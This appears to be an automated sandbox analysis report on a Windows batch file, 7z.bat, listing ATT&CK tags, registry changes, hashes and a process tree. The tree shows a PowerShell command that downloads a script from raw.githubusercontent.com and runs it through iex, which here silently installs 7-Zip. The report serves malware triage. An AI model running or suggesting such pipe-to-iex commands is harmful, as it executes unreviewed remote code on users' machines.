4b9e4bbd675a45f1a99d54bff55576ba3c6d79ab76ea30e143d89fc1543e8580

Analysis

max time kernel
148s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-11-2024 06:22

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General

Target

Files/Apps/7z.bat
Size

844B
MD5

1c451e2da79fef2d9321de2ea7b45441
SHA1

d88c4420afd5ac5817d1ddf704ff662b91f2972d
SHA256

bbd164eb4e0d58b109e765d9a2278c8cfcbc4096bbe75de823db05c2caa47b6e
SHA512

0202c51a522665a0986bf6b0c9ed7497d0aa796f6cc9c085c40962c333e77f9cc309319d0487b800b9981f5932a109f62ab075088df55560285438bb7aef1751

Score

8^/10

discovery execution persistence privilege_escalation

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

9 1512 powershell.exe
14 1512 powershell.exe
22 1512 powershell.exe
24 1512 powershell.exe
Downloads MZ/PE file
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015
Executes dropped EXE 1 IoCs

Processes:

7z2408-x64.exe

pid process

2192 7z2408-x64.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

8 raw.githubusercontent.com
9 raw.githubusercontent.com

flow	pid	process
9	1512	powershell.exe
14	1512	powershell.exe
22	1512	powershell.exe
24	1512	powershell.exe

pid	process
2192	7z2408-x64.exe

flow	ioc
8	raw.githubusercontent.com
9	raw.githubusercontent.com

Drops file in Program Files directory 64 IoCs

Processes:

7z2408-x64.exe

description	ioc	process
File opened for modification	C:\Program Files\7-Zip\Lang\es.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pl.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\7z.sfx	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\bn.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fa.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hr.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\it.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\en.ttt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fur.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pa-in.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uk.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\descript.ion	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\et.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ug.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cs.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tr.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\id.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\el.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\be.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hy.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nb.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pt.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\si.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tg.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ky.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ro.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sr-spc.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\7zFM.exe	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ps.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-tw.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\7z.dll	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cy.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mr.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sk.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\az.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\eo.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sr-spl.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\yo.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\7-zip.chm	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\he.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kk.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lt.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sl.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\History.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kab.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nl.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sq.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\th.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tt.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\de.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kaa.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mn.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\7-zip.dll	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\af.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ba.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\da.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ko.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ar.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\va.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\License.txt	7z2408-x64.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fr.txt	7z2408-x64.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

4392 powershell.exe
1512 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
discovery

System Language Discovery
T1614.001

Processes:

7z2408-x64.exe

description ioc process

Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7z2408-x64.exe

pid	process
4392	powershell.exe
1512	powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7z2408-x64.exe

Modifies registry class 20 IoCs

Processes:

7z2408-x64.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip	7z2408-x64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\7-Zip	7z2408-x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ = "C:\\Program Files\\7-Zip\\7-zip32.dll"	7z2408-x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\ = "7-Zip Shell Extension"	7z2408-x64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32	7z2408-x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ = "C:\\Program Files\\7-Zip\\7-zip.dll"	7z2408-x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	7z2408-x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\ = "7-Zip Shell Extension"	7z2408-x64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}	7z2408-x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ThreadingModel = "Apartment"	7z2408-x64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\7-Zip	7z2408-x64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}	7z2408-x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ThreadingModel = "Apartment"	7z2408-x64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\7-Zip	7z2408-x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	7z2408-x64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\DragDropHandlers\7-Zip	7z2408-x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\DragDropHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	7z2408-x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	7z2408-x64.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32	7z2408-x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	7z2408-x64.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

4392 powershell.exe
4392 powershell.exe
1512 powershell.exe
1512 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4392 powershell.exe
Token: SeDebugPrivilege 1512 powershell.exe

pid	process
4392	powershell.exe
4392	powershell.exe
1512	powershell.exe
1512	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4392	powershell.exe
Token: SeDebugPrivilege	1512	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

cmd.execmd.exepowershell.exe

description	pid	process	target process
PID 3388 wrote to memory of 264	3388	cmd.exe	fltMC.exe
PID 3388 wrote to memory of 264	3388	cmd.exe	fltMC.exe
PID 3388 wrote to memory of 4948	3388	cmd.exe	cmd.exe
PID 3388 wrote to memory of 4948	3388	cmd.exe	cmd.exe
PID 3388 wrote to memory of 1096	3388	cmd.exe	cmd.exe
PID 3388 wrote to memory of 1096	3388	cmd.exe	cmd.exe
PID 1096 wrote to memory of 1088	1096	cmd.exe	chcp.com
PID 1096 wrote to memory of 1088	1096	cmd.exe	chcp.com
PID 3388 wrote to memory of 1764	3388	cmd.exe	chcp.com
PID 3388 wrote to memory of 1764	3388	cmd.exe	chcp.com
PID 3388 wrote to memory of 2628	3388	cmd.exe	chcp.com
PID 3388 wrote to memory of 2628	3388	cmd.exe	chcp.com
PID 3388 wrote to memory of 4392	3388	cmd.exe	powershell.exe
PID 3388 wrote to memory of 4392	3388	cmd.exe	powershell.exe
PID 3388 wrote to memory of 1512	3388	cmd.exe	powershell.exe
PID 3388 wrote to memory of 1512	3388	cmd.exe	powershell.exe
PID 1512 wrote to memory of 2192	1512	powershell.exe	7z2408-x64.exe
PID 1512 wrote to memory of 2192	1512	powershell.exe	7z2408-x64.exe
PID 1512 wrote to memory of 2192	1512	powershell.exe	7z2408-x64.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Files\Apps\7z.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3388
- C:\Windows\system32\fltMC.exe
  fltmc
  2⤵
  PID:264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ver
  2⤵
  PID:4948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c chcp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1096
- - C:\Windows\system32\chcp.com
    chcp
    3⤵
    PID:1088
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:1764
- C:\Windows\system32\chcp.com
  chcp 437
  2⤵
  PID:2628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$PSVersionTable.PSVersion.Major"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "irm https://raw.githubusercontent.com/SchooiCodes/file_hosting/main/7z.ps1 | iex"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1512
- - C:\Users\Admin\AppData\Local\Temp\7z2408-x64.exe
    "C:\Users\Admin\AppData\Local\Temp\7z2408-x64.exe" /S
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:2192

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z2408-x64.exe

Filesize
1.5MB

MD5
0330d0bd7341a9afe5b6d161b1ff4aa1

SHA1
86918e72f2e43c9c664c246e62b41452d662fbf3

SHA256
67cb9d3452c9dd974b04f4a5fd842dbcba8184f2344ff72e3662d7cdb68b099b

SHA512
850382414d9d33eab134f8bd89dc99759f8d0459b7ad48bd9588405a3705aeb2cd727898529e3f71d9776a42e141c717e844e0b5c358818bbeac01d096907ad1

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_et20ulet.uhj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1512-31-0x000002027F940000-0x000002027FB02000-memory.dmp

Filesize
1.8MB

Download
memory/4392-0-0x00007FFC0F2A3000-0x00007FFC0F2A5000-memory.dmp

Filesize
8KB

Download
memory/4392-1-0x0000024DE7640000-0x0000024DE7662000-memory.dmp

Filesize
136KB

Download
memory/4392-11-0x00007FFC0F2A0000-0x00007FFC0FD61000-memory.dmp

Filesize
10.8MB

Download
memory/4392-15-0x00007FFC0F2A0000-0x00007FFC0FD61000-memory.dmp

Filesize
10.8MB

Download
memory/4392-16-0x00007FFC0F2A0000-0x00007FFC0FD61000-memory.dmp

Filesize
10.8MB

Download